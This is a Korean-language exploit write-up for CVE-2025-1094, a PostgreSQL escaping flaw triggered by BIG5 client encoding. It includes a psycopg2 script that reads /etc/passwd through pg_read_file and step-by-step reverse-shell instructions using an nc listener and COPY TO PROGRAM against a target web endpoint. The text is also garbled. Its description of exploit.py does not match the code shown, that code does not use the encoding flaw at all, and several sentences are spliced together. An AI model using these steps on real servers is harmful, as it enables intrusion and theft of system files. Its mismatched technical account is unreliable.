
인코딩 불일치로 인한 입력 삭제(샌니타이징) 결함으로, 조작된 입력이 필터를 우회할 수 있게 합니다. 서버가 취약한 경우, 공격자는 백엔드가 실행하는 악성 SQL을 주입할 수 있습니다.
#저는 CVE-2025-1094에서 제공되는 PoC를 참고하여 이 익스플로잇을 작성했습니다.
CVE‑2025‑1094는 PostgreSQL의 libpq 이스케이프 함수와 psql 대화형 도구에서 발생하는 입력 검증 취약점입니다. 클라이언트 인코딩이 BIG5로 설정된 경우 멀티바이트 인코딩을 제대로 처리하지 못하는 데서 비롯됩니다. 특정 조건에서는 이스케이프 문자가 잘못 처리되어 공격자가 의도된 쿼리 경계를 우회할 수 있습니다.
이 취약점은 Rapid7이 BeyondTrust 어플라이언스의 별도 문제인 CVE‑2024‑12356을 분석하는 과정에서 발견했습니다. PostgreSQL의 이러한 동작은 더 광범위한 연쇄 취약점의 일부로 악용되어 백엔드 동작에 추가로 영향을 미치는 데 사용되었습니다.
웹 서버나 애플리케이션이 psql을 통해 실행되는 SQL 쿼리에 사용자 입력을 직접 전달하고 client_encoding이 BIG5로 설정된 경우, 특수하게 조작된 입력으로 SQL 문을 조기에 종료시키고 악성 SQL을 추가할 수 있습니다.
이를 통해 PostgreSQL의 lo_export, pg_read_file 또는 유사한 함수를 이용해 로컬 파일(예: /etc/passwd)을 읽는 등의 추가 작업이 가능해집니다.
이는 기본적으로 PostgreSQL의 원격 코드 실행(RCE) 취약점이 아닙니다. 오히려 PostgreSQL 클라이언트 API의 오용으로, 필터링이나 이스케이프가 제대로 이루어지지 않을 경우 민감한 파일 내용을 유출하거나 잠재적으로 위험한 SQL을 실행하는 데 악용될 수 있습니다.
COPY TO, pg_read_file 또는 lo_export를 악용할 수 있습니다.BIG5이고 입력이 제대로 검증되지 않은 경우에만 유효합니다.client_encoding=BIG5로 구성되어 있어야 합니다.import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ 이 Exploit.py는 무엇을 하나요:
환경에 PGCLIENTENCODING=BIG5를 설정합니다(트리거 조건).
쿼리에서 빠져나와 새로운 COPY TO PROGRAM 명령을 삽입하는 SQL 인젝션 페이로드를 제작합니다.
취약한 웹 서버(/search?q=...)에 GET 요청을 통해 페이로드를 전송합니다.
백엔드가 psql과 검증되지 않은 입력을 사용하는 경우 COPY TO PROGRAM이 실행되어 결과를 쓰거나 셸을 엽니다.
⚠️ 리버스 셸은 서버가 다음 조건을 충족할 때만 성공합니다:
psql을 사용하여 SQL을 실행해야 합니다(파라미터화된 DB 드라이버가 아님)
COPY TO PROGRAM을 허용해야 합니다(슈퍼유저 필요)
공격자에 대한 아웃바운드 연결이 가능해야 합니다
#이 Python 스크립트는 BIG5 인코딩으로 입력을 PostgreSQL psql 프로세스에 직접 전달하는 취약한 웹 서버에 특수하게 제작된 페이로드를 전송합니다: 사용 단계:
터미널에서 리스너를 시작합니다:
nc -lvnp 4444
익스플로잇 스크립트를 편집합니다:
TARGET_URL을 대상 서버의 IP 또는 도메인으로 설정합니다. ENDPOINT가 라우트(예: /search)와 일치하는지 확인합니다. REVERSE_IP와 REVERSE_PORT를 공격 머신에 맞게 조정합니다.
다른 터미널에서 스크립트를 실행합니다 :
python3 exploit.py
결과: 성공하면 리스너에서 연결을 받게 됩니다. 실패할 경우 대신 pg_read_file 페이로드를 사용하여 파일(예: /etc/passwd) 읽기를 시도해 보세요.
테스트하려면 다음이 필요합니다:
EUC_TW 또는 유사한 인코딩으로 초기화되어 있어야 합니다.psql 또는 이스케이프되지 않은 동적 SQL을 사용하여 PostgreSQL과 상호작용해야 합니다.pg_read_file 또는 lo_export와 같은 함수에 접근할 수 있어야 합니다.client_encoding=BIG5 사용을 피하세요.